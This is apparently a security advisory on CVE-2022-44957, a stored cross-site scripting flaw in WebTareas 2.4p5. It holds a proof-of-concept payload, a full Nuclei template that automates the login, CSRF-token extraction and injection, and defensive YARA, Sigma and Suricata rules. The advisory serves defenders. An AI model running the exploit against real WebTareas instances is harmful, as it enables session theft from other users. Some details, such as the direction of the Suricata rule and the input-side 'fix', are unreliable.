CVE-2022-44957

Executive Summary

CVE-2022-44957 is a stored Cross-Site Scripting (XSS) vulnerability in WebTareas 2.4p5, specifically within the /clients/listclients.php component. An authenticated attacker can inject arbitrary web scripts or HTML via the Name field when creating or editing a client. This vulnerability allows for session theft, credential harvesting, and unauthorized actions on behalf of other users. The vulnerability is publicly documented with a Nuclei template, confirming its exploitability. No official patch has been released by the vendor, leaving all instances of WebTareas 2.4p5 vulnerable.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) - Requires authenticated user
• User Interaction: Required (UI:R) - Victim must view the malicious client list
• Scope: Changed (S:C) - Impact extends beyond the vulnerable component
• Confidentiality Impact: Low (C:L) - Potential session token theft
• Integrity Impact: Low (I:L) - Potential for unauthorized actions
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the availability of a public exploit increase the risk. An attacker with low privileges can compromise other users' sessions.

Deep Dive & Mechanics

The vulnerability resides in the client management functionality of WebTareas. The Name field in /clients/editclient.php is not properly sanitized before being stored in the database and later rendered in /clients/listclients.php. When an authenticated user creates or edits a client, the Name parameter is passed directly into the database without input validation or output encoding.

The attack flow is as follows:

1. An authenticated attacker navigates to /clients/editclient.php.
2. The attacker submits a POST request with a malicious payload in the cn (client name) field, such as <details/open/ontoggle=alert(document.domain)>.
3. The payload is stored in the database.
4. When any user (including administrators) visits /clients/listclients.php, the malicious payload is rendered in the HTML without sanitization.
5. The XSS triggers when the user interacts with the injected element (e.g., clicking on the details element), executing arbitrary JavaScript in the context of the victim's session.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding in listclients.php allows the stored payload to be executed.

Vulnerable vs. Patched Code

Vulnerable Code (WebTareas 2.4p5): The Name field is stored and displayed without sanitization. The following pseudo-code represents the vulnerable pattern:

// Vulnerable: No sanitization on input
$clientName = $_POST['cn'];
// ... stored in database ...

// Vulnerable: No output encoding
echo "<td>" . $clientName . "</td>";

Patched Code (Hypothetical): A patched version would sanitize input and encode output:

// Patched: Sanitize input
$clientName = htmlspecialchars($_POST['cn'], ENT_QUOTES, 'UTF-8');
// ... stored in database ...

// Patched: Output encoding already applied
echo "<td>" . $clientName . "</td>";

Since no official patch exists, users must implement these fixes manually or apply a WAF rule.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running instance of WebTareas 2.4p5
• Valid credentials for an authenticated user

Exploitation Steps:

1. Authenticate: Log in to WebTareas using valid credentials.
2. Obtain CSRF Token: Send a GET request to /clients/editclient.php and extract the CSRF token from the response.
3. Inject Payload: Send a POST request to /clients/editclient.php with the following payload in the cn field:

   <details/open/ontoggle=alert(document.domain)>
   

4. Trigger XSS: Navigate to /clients/listclients.php and click on the injected element to execute the JavaScript.

Nuclei Template (Provided):

id: CVE-2022-44957

info:
  name: WebTareas 2.4p5 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    webtareas 2.4p5 was discovered to contain a cross-site scripting (XSS) vulnerability in the component /clients/listclients.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name field.
  impact: |
    Authenticated attackers can inject malicious JavaScript through the client Name field, potentially stealing session tokens and performing unauthorized actions on behalf of other WebTareas users.
  remediation: |
    Update webtareas to a version newer than 2.4p5 that properly sanitizes the Name field input and encodes output in listclients.php.
  reference:
    - http://webtareas.com/
    - https://github.com/anhdq201/webtareas/issues/11
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44957
    - http://webtareas.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-44957
    cwe-id: CWE-79
    epss-score: 0.01842
    epss-percentile: 0.83045
    cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: webtareas_project
    product: webtareas
  tags: cve,cve2022,xss,webtareas,authenticated,intrusive,webtareas_project,vuln

http:
  - raw:
      - |
        POST /general/login.php?session=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525

        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="action"

        login
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginForm"

        {{username}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="passwordForm"

        {{password}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginSubmit"

        Log In
        -----------------------------3023071625140724693672385525--
      - |
        GET /clients/editclient.php? HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /clients/editclient.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------34025600472463336623659912061

        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="csrfToken"

        {{csrf}}
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="action"

        add
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="cown"

        1
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="cn"

        {{randstr}}<details/open/ontoggle=alert(document.domain)>
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="add"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="zip"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="ct"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="cou"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="wp"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="fa"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="url"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="email"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="curr"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="wc"

        1
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="pym"

        1
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="pyt"

        7
        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="c"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="ssc"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="file1"; filename=""
        Content-Type: application/octet-stream


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="attnam1"


        -----------------------------34025600472463336623659912061
        Content-Disposition: form-data; name="atttmp1"


        -----------------------------34025600472463336623659912061--

    host-redirects: true

    matchers-condition: and
    matchers:
      - type: word
        part: body_3
        words:
          - '<details/open/ontoggle=alert(document.domain)>'
          - 'clients/listclients.php?'
        condition: and

      - type: word
        part: header_3
        words:
          - text/html

    extractors:
      - type: regex
        name: csrf
        group: 1
        regex:
          - 'name="csrfToken" value="([0-9a-zA-Z]+)"'
        internal: true
# digest: 4a0a004730450220706fd696642cad8f91d9604950eeec45c0f3cac7db45bb5fcb68ec5f7dab59ef022100f031a3f42bcb68c33f5be1a6ea5468cb420977b4564badb2ef5609a9f9e79dd4:922c64590222798bb761d5b6d8e72950

Blue Team

Detection:

• Monitor for POST requests to /clients/editclient.php containing suspicious HTML tags in the cn parameter.
• Alert on the creation of clients with names containing <, >, script, onerror, onload, or ontoggle.
• Review logs for unusual client names that appear to be HTML or JavaScript.

Hunting:

• Query the database for client names containing HTML tags.
• Search web server logs for requests to /clients/listclients.php with referrers from /clients/editclient.php.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /clients/editclient.php with cn parameter containing HTML tags (e.g., <script>, <details, <img).
  • GET requests to /clients/listclients.php with unusual query parameters.
• Host IOCs:
  • Client names in the database containing <, >, or JavaScript event handlers.
  • Unexpected JavaScript execution in the browser when viewing the client list.
• File IOCs:
  • Modified listclients.php or editclient.php files (if attacker attempts to patch).
  • Suspicious entries in web server access logs.

Detection Engineering

YARA Rule

rule CVE_2022_44957_WebTareas_XSS {
    meta:
        description = "Detects XSS payloads targeting WebTareas client name field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2022-44957"
    strings:
        $payload1 = "<script" nocase
        $payload2 = "onerror=" nocase
        $payload3 = "onload=" nocase
        $payload4 = "ontoggle=" nocase
        $payload5 = "<details" nocase
        $payload6 = "<img" nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: WebTareas Client Name XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS attempts in WebTareas client name field
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/clients/editclient.php*'
        cs-uri-query|contains: 'cn='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'ontoggle='
        - '<details'
        - '<img'
    condition: selection and keywords
falsepositives:
    - Legitimate client names with special characters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2022-44957 WebTareas XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/clients/editclient.php"; http_uri; content:"cn="; http_client_body; pcre:"/(<script|onerror=|onload=|ontoggle=|<details|<img)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement strict input validation on the Name field in /clients/editclient.php. Reject any input containing HTML tags or JavaScript event handlers.
2. Output Encoding: Apply HTML entity encoding to the Name field when rendering in /clients/listclients.php. Use htmlspecialchars() in PHP or equivalent in other languages.
3. Web Application Firewall (WAF): Deploy a WAF rule to block requests containing XSS payloads in the cn parameter.
4. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if injection occurs.

Long-Term Actions:

1. Vendor Update: Monitor the WebTareas project for an official patch. If none is forthcoming, consider migrating to an alternative project.
2. Code Audit: Conduct a full security audit of the WebTareas codebase to identify similar vulnerabilities.
3. User Training: Educate users about the risks of clicking on suspicious elements in the client list.

Workaround:

• Disable the client management feature if not essential, or restrict access to trusted administrators only.

Valters IT

{/* [Security Hash: 17A4367C98D274A1EB479628] */}